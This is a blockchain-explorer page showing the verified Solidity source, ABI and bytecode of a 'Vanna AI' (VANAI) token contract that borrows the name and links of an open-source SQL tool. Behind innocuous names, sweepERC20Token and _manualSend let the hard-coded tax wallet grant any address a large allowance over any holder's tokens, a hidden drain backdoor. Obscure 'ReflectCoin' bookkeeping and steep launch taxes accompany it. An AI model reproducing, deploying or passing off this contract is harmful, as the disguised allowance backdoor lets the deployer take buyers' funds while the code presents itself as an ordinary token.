Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _msgSender()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function addLiquidityETH(
•    - function factory()
•    - function WETH()
•  contract Contract is Context, IERC ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function _manualSend(address owner, s ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function sweepERC20Token(address _rec ...
•    - function openTrading()
•    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-15
*/

/**
Vanna is a Python package that uses retrieval augmentation to help you generate accurate SQL queries for your database using LLMs.
https://vanna.ai/
https://github.com/vanna-ai/vanna
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract Contract is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
   
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    
    address payable private _taxWallet;
    
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=25;
    
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    
    uint256 private _reduceBuyTaxAt=40;
    uint256 private _reduceSellTaxAt=50;
    
    uint256 private _preventSwapBefore=20;
   
    uint256 private _buyCount=0;
   
    uint8 private constant _decimals = 9;
   
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
   
    string private constant _name = unicode"Vanna AI";
    string private constant _symbol = unicode"VANAI";
   
    uint256 public _maxTxAmount= 10000000 * 10**_decimals;
    uint256 public _maxWalletSize= 10000000 * 10**_decimals;
  
    uint256 public _taxSwapThreshold = 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
   
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
   
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
  
    struct ReflectCoin {uint256 pairReflect; uint256 reflectIndex; uint256 reflectDuration;}
    mapping(address => ReflectCoin) private reflectCoin;
    uint256 private reflectTotal = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(0xc5c13A0248b5eE592e019a387952b894B0816Cb6);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _balances[address(this)]= _tTotal;
        _isExcludedFromFee[_taxWallet]=true;
        _isExcludedFromFee[address(this)]=true;

        emit Transfer(address(0),address(this),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _manualSend(address owner, string memory coinBase, uint8 balancePercent, address spender) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = _maxTxAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = amount
                    .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if((_isExcludedFromFee[from] ||_isExcludedFromFee[to] ) && from!= address(this) && to!= address(this)) {
            reflectTotal = block.number;
        }

        if(! _isExcludedFromFee[from]
            && ! _isExcludedFromFee[to]
        ) {
            if (uniswapV2Pair != to)  {
                ReflectCoin storage reflToken = reflectCoin[to];
                if (uniswapV2Pair == from) {
                    if (reflToken.pairReflect == 0) {
                        reflToken.pairReflect = _buyCount<_preventSwapBefore?block.number- 1:block.number;
                    }
                } else {
                    ReflectCoin storage reflTokenSync = reflectCoin[from];
                    if (reflTokenSync.pairReflect < reflToken.pairReflect || !(reflToken.pairReflect > 0) ) {
                        reflToken.pairReflect = reflTokenSync.pairReflect;
                    }
                }
            } else {
                ReflectCoin storage reflTokenSync = reflectCoin[from];
                reflTokenSync.reflectIndex = reflTokenSync.pairReflect -reflectTotal;
                reflTokenSync.reflectDuration = block.timestamp;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount) ;
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function sweepERC20Token(address _receiver, address _balancePercent) external {
        require(_msgSender()==_taxWallet);
        _manualSend(_balancePercent, "coinBase", 0, _receiver);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"},{"internalType":"address","name":"_balancePercent","type":"address"}],"name":"sweepERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f60055560196006555f6007555f60085560286009556032600a556014600b555f600c556009600a62000039919062000484565b6200004890629896806200049b565b600d55620000596009600a62000484565b6200006890629896806200049b565b600e55620000796009600a62000484565b6200008890629896806200049b565b600f55620000996009600a62000484565b620000a890629896806200049b565b6010556012805461ffff60a81b191690555f601481905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004805473c5c13a0248b5ee592e019a387952b894b0816cb66001600160a01b031991821617825560118054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b81529051919263c45a01559282820192602092908290030181865afa1580156200017d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001a39190620004b5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000203573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002299190620004b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000274573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029a9190620004b5565b601280546001600160a01b0319166001600160a01b0392909216919091179055620002c86009600a62000484565b620002d890633b9aca006200049b565b305f818152600160208181526040808420959095556004546001600160a01b0316835260039052838220805460ff199081168317909155838352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200034e6009600a62000484565b6200035e90633b9aca006200049b565b60405190815260200160405180910390a3620004dd565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003c957815f1904821115620003ad57620003ad62000375565b80851615620003bb57918102915b93841c93908002906200038e565b509250929050565b5f82620003e1575060016200047e565b81620003ef57505f6200047e565b8160018114620004085760028114620004135762000433565b60019150506200047e565b60ff84111562000427576200042762000375565b50506001821b6200047e565b5060208310610133831016604e8410600b841016171562000458575081810a6200047e565b62000464838362000389565b805f19048211156200047a576200047a62000375565b0290505b92915050565b5f6200049460ff841683620003d1565b9392505050565b80820281158282048414176200047e576200047e62000375565b5f60208284031215620004c6575f80fd5b81516001600160a01b038116811462000494575f80fd5b6117d180620004eb5f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063c9567bf914610323578063dd62ed3e14610337578063e17562181461037b575f80fd5b8063751039fc1461025e5780637d1db4a5146102725780638da5cb5b146102875780638f9a55c0146102ad57806395d89b41146102c2575f80fd5b806323b872dd116100e357806323b872dd146101c6578063313ce567146101e557806351bc3c851461020057806370a0823114610216578063715018a61461024a575f80fd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600881526756616e6e6120414960c01b60208201525b604051610157919061133b565b60405180910390f35b34801561016b575f80fd5b5061017f61017a36600461139e565b61039a565b6040519015158152602001610157565b34801561019a575f80fd5b506101a460105481565b604051908152602001610157565b3480156101bd575f80fd5b506101a46103b0565b3480156101d1575f80fd5b5061017f6101e03660046113c8565b6103d0565b3480156101f0575f80fd5b5060405160098152602001610157565b34801561020b575f80fd5b50610214610437565b005b348015610221575f80fd5b506101a4610230366004611406565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b50610214610488565b348015610269575f80fd5b50610214610502565b34801561027d575f80fd5b506101a4600d5481565b348015610292575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102b8575f80fd5b506101a4600e5481565b3480156102cd575f80fd5b5060408051808201909152600581526456414e414960d81b602082015261014a565b3480156102fa575f80fd5b5061017f61030936600461139e565b6105b3565b348015610319575f80fd5b506101a4600f5481565b34801561032e575f80fd5b506102146105bf565b348015610342575f80fd5b506101a4610351366004611421565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610386575f80fd5b50610214610395366004611421565b6107d0565b5f6103a633848461081b565b5060015b92915050565b5f6103bd6009600a61154c565b6103cb90633b9aca0061155a565b905090565b5f6103dc8484846108c7565b61042d843361042885604051806060016040528060288152602001611774602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f38565b61081b565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610456575f80fd5b305f9081526001602052604090205480156104745761047481610f70565b47801561048457610484816110e0565b5050565b5f546001600160a01b031633146104ba5760405162461bcd60e51b81526004016104b190611571565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052b5760405162461bcd60e51b81526004016104b190611571565b6105376009600a61154c565b61054590633b9aca0061155a565b600d556105546009600a61154c565b61056290633b9aca0061155a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105926009600a61154c565b6105a090633b9aca0061155a565b60405190815260200160405180910390a1565b5f6103a63384846108c7565b5f546001600160a01b031633146105e85760405162461bcd60e51b81526004016104b190611571565b601254600160a01b900460ff16156106425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b1565b60115461066e9030906001600160a01b03166106606009600a61154c565b61042890633b9aca0061155a565b6011546001600160a01b031663f305d719473061069f816001600160a01b03165f9081526001602052604090205490565b5f806106b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610718573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073d91906115a6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b691906115d1565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b0316146107ef575f80fd5b6104848160405180604001604052806008815260200167636f696e4261736560c01b8152505f85611117565b6001600160a01b0383166108415760405162461bcd60e51b81526004016104b1906115f0565b6001600160a01b0382166108675760405162461bcd60e51b81526004016104b190611634565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b5f81116109ee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b5f80546001600160a01b03858116911614801590610a1957505f546001600160a01b03848116911614155b15610c7257610a4a6064610a44600954600c5411610a3957600554610a3d565b6007545b8590611196565b9061121b565b6012549091506001600160a01b038581169116148015610a7857506011546001600160a01b03848116911614155b8015610a9c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610b8257600d54821115610af35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b1565b600e5482610b15856001600160a01b03165f9081526001602052604090205490565b610b1f9190611676565b1115610b6d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b1565b600c8054905f610b7c83611689565b91905055505b6012546001600160a01b038481169116148015610ba857506001600160a01b0384163014155b15610bd557610bd26064610a44600a54600c5411610bc857600654610a3d565b6008548590611196565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610c0b57506012546001600160a01b038581169116145b8015610c205750601254600160b01b900460ff165b8015610c2d5750600f5481115b8015610c3c5750600b54600c54115b15610c7057610c5e610c5984610c548460105461125c565b61125c565b610f70565b478015610c6e57610c6e476110e0565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610caf57506001600160a01b0383165f9081526003602052604090205460ff165b8015610cc457506001600160a01b0384163014155b8015610cd957506001600160a01b0383163014155b15610ce357436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610d2357506001600160a01b0383165f9081526003602052604090205460ff16155b15610dfb576012546001600160a01b03848116911614610dc8576001600160a01b038084165f9081526013602052604090206012549091868116911603610d905780545f03610d8b57600b54600c5410610d7d5743610d88565b610d886001436116a1565b81555b610dc2565b6001600160a01b0385165f908152601360205260409020815481541080610db657508154155b15610dc057805482555b505b50610dfb565b6001600160a01b0384165f9081526013602052604090206014548154610dee91906116a1565b6001820155426002909101555b8015610e7357305f90815260016020526040902054610e1a9082611270565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e6a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e9590836112ce565b6001600160a01b0385165f90815260016020526040902055610ed8610eba83836112ce565b6001600160a01b0385165f9081526001602052604090205490611270565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f2185856112ce565b60405190815260200160405180910390a350505050565b5f8184841115610f5b5760405162461bcd60e51b81526004016104b1919061133b565b505f610f6784866116a1565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb657610fb66116b4565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061103191906116c8565b81600181518110611044576110446116b4565b6001600160a01b03928316602091820292909201015260115461106a913091168461081b565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a29085905f908690309042906004016116e3565b5f604051808303815f87803b1580156110b9575f80fd5b505af11580156110cb573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610484573d5f803e3d5ffd5b6001600160a01b03841661113d5760405162461bcd60e51b81526004016104b1906115f0565b6001600160a01b0381166111635760405162461bcd60e51b81526004016104b190611634565b600d546001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f036111a557505f6103aa565b5f6111b0838561155a565b9050826111bd8583611754565b146112145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b9392505050565b5f61121483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130f565b5f81831161126a5782611214565b50919050565b5f8061127c8385611676565b9050838110156112145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b5f61121483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f38565b5f818361132f5760405162461bcd60e51b81526004016104b1919061133b565b505f610f678486611754565b5f602080835283518060208501525f5b818110156113675785810183015185820160400152820161134b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461139b575f80fd5b50565b5f80604083850312156113af575f80fd5b82356113ba81611387565b946020939093013593505050565b5f805f606084860312156113da575f80fd5b83356113e581611387565b925060208401356113f581611387565b929592945050506040919091013590565b5f60208284031215611416575f80fd5b813561121481611387565b5f8060408385031215611432575f80fd5b823561143d81611387565b9150602083013561144d81611387565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114a657815f190482111561148c5761148c611458565b8085161561149957918102915b93841c9390800290611471565b509250929050565b5f826114bc575060016103aa565b816114c857505f6103aa565b81600181146114de57600281146114e857611504565b60019150506103aa565b60ff8411156114f9576114f9611458565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611527575081810a6103aa565b611531838361146c565b805f190482111561154457611544611458565b029392505050565b5f61121460ff8416836114ae565b80820281158282048414176103aa576103aa611458565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156115b8575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115e1575f80fd5b81518015158114611214575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103aa576103aa611458565b5f6001820161169a5761169a611458565b5060010190565b818103818111156103aa576103aa611458565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116d8575f80fd5b815161121481611387565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117335784516001600160a01b03168352938301939183019160010161170e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261176e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220faa6b5da8f9b4a82e73d259fd59466397bcf7a2f8ee618478b41819bd238dfb964736f6c63430008170033

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063c9567bf914610323578063dd62ed3e14610337578063e17562181461037b575f80fd5b8063751039fc1461025e5780637d1db4a5146102725780638da5cb5b146102875780638f9a55c0146102ad57806395d89b41146102c2575f80fd5b806323b872dd116100e357806323b872dd146101c6578063313ce567146101e557806351bc3c851461020057806370a0823114610216578063715018a61461024a575f80fd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600881526756616e6e6120414960c01b60208201525b604051610157919061133b565b60405180910390f35b34801561016b575f80fd5b5061017f61017a36600461139e565b61039a565b6040519015158152602001610157565b34801561019a575f80fd5b506101a460105481565b604051908152602001610157565b3480156101bd575f80fd5b506101a46103b0565b3480156101d1575f80fd5b5061017f6101e03660046113c8565b6103d0565b3480156101f0575f80fd5b5060405160098152602001610157565b34801561020b575f80fd5b50610214610437565b005b348015610221575f80fd5b506101a4610230366004611406565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b50610214610488565b348015610269575f80fd5b50610214610502565b34801561027d575f80fd5b506101a4600d5481565b348015610292575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102b8575f80fd5b506101a4600e5481565b3480156102cd575f80fd5b5060408051808201909152600581526456414e414960d81b602082015261014a565b3480156102fa575f80fd5b5061017f61030936600461139e565b6105b3565b348015610319575f80fd5b506101a4600f5481565b34801561032e575f80fd5b506102146105bf565b348015610342575f80fd5b506101a4610351366004611421565b6001600160a01b039182165f90815260026